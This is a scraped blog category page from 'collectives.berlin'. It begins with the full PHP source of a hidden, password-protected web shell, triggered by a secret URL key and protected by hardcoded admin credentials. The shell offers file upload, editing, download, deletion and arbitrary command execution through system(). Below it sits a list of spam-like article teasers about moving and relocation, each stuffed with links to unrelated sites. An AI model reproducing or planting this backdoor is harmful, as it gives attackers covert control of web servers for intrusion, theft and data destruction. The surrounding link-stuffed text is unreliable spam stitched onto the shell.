if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • How to Budget for a Nationwide Corporate Relocation

    Relocating a corporate office across the country is a complex process that requires meticulous planning and https://relocationacrossamerica.com budgeting. A well-structured budget not only ensures that the relocation is executed smoothly but also minimizes unexpected costs. Here’s a comprehensive guide on how to effectively budget for a nationwide corporate relocation. 1. Assess the Current Situation Before…

    Click or not…

  • Moving with Kids: Helping Them Adjust to a New School

    Relocating to a new city or town can be an exciting adventure for families, but it often presents unique challenges, especially for children who must adjust to a new school environment. As parents, understanding how to support kids through this transition is crucial for their emotional and https://coloradospringsmoverss.com academic well-being. This report outlines effective strategies…

    Click or not…

  • Moving During Peak Season: How to Book Early and Save

    Moving during peak season can be a daunting task, especially for those who are unprepared. The peak moving season typically runs from late spring to early fall, with June, July, and August being the busiest months. During this time, demand for https://movingservicesamerica.com moving services skyrockets, leading to higher prices and limited availability. However, with careful…

    Click or not…

  • Packing a Wardrobe: How to Move Clothes Without Wrinkles

    Moving can be a daunting task, especially when it comes to packing your wardrobe. One of the biggest concerns during a move is ensuring that your clothes arrive at your new home without wrinkles. Wrinkled clothes can be frustrating and https://california-relocation-journal.com time-consuming to deal with, but with the right techniques and materials, you can pack…

    Click or not…

  • Сезонні розпродажі: як знайти найкращі пропозиції

    Сезонні розпродажі – це чудова можливість для споживачів заощадити гроші на покупках. Кожен рік, в певні періоди, https://styleworld.org.ua/ магазини та онлайн-платформи пропонують значні знижки на різні категорії товарів. У цій статті ми розглянемо, як знайти найкращі пропозиції під час сезонних розпродажів та на що звертати увагу. По-перше, важливо знати, коли відбуваються сезонні розпродажі. Зазвичай, це…

    Click or not…

  • Контроль якості будівельних робіт: важливі аспекти

    Контроль якості будівельних робіт є однією з ключових складових успішного завершення будівельних проектів. Він забезпечує відповідність виконаних робіт встановленим стандартам, нормам і вимогам, buildspace.com.ua а також гарантує безпеку, довговічність і ефективність будівельних об’єктів. У даному звіті розглянемо основні аспекти контролю якості, які мають велике значення для будівельної галузі. По-перше, контроль якості починається з етапу проектування.…

    Click or not…

  • Дослідження впливу соціальних медіа на молодь

    У сучасному світі соціальні медіа стали невід’ємною частиною життя молоді. Вони впливають на різні аспекти повсякденного життя, включаючи комунікацію, самооцінку та соціальні взаємодії. Метою цього дослідження є вивчення впливу соціальних медіа на молодь, зокрема, їх вплив на психічне здоров’я, https://garageexpert.net.ua соціальні навички та самоідентифікацію. По-перше, соціальні медіа надають молоді платформу для спілкування та взаємодії. Зокрема,…

    Click or not…

  • Роль групової терапії в подоланні посттравматичного стресу

    Посттравматичний стресовий розлад (ПТСР) є серйозним психічним захворюванням, яке може виникнути внаслідок переживання травматичних подій, таких як війна, насильство, нещасні випадки чи природні катастрофи. Люди, які страждають від ПТСР, часто відчувають інтенсивний страх, тривогу, депресію та труднощі в соціальній адаптації. Групова терапія стає важливим інструментом у процесі лікування та подолання цього розладу, оскільки вона забезпечує…

    Click or not…

  • Moving Into an Apartment: Elevator Reservations and Building Rules

    Moving into a new apartment can be an exciting yet daunting experience, movingtoalaskausa.com especially when it comes to navigating the logistics of moving day. One of the most critical aspects to consider is the building’s rules regarding elevator reservations and other moving protocols. Understanding these guidelines can help ensure a smooth transition into your new…

    Click or not…

  • Unpacking Strategies: Settling Into Your New Home Quickly

    Moving into a new home is often an exciting yet daunting experience. The thrill of a new space can quickly turn into overwhelm when faced with the daunting task of unpacking. However, https://houstonmovingjournal.com/ with effective unpacking strategies, you can settle into your new home quickly and efficiently. This report outlines several practical strategies that can…

    Click or not…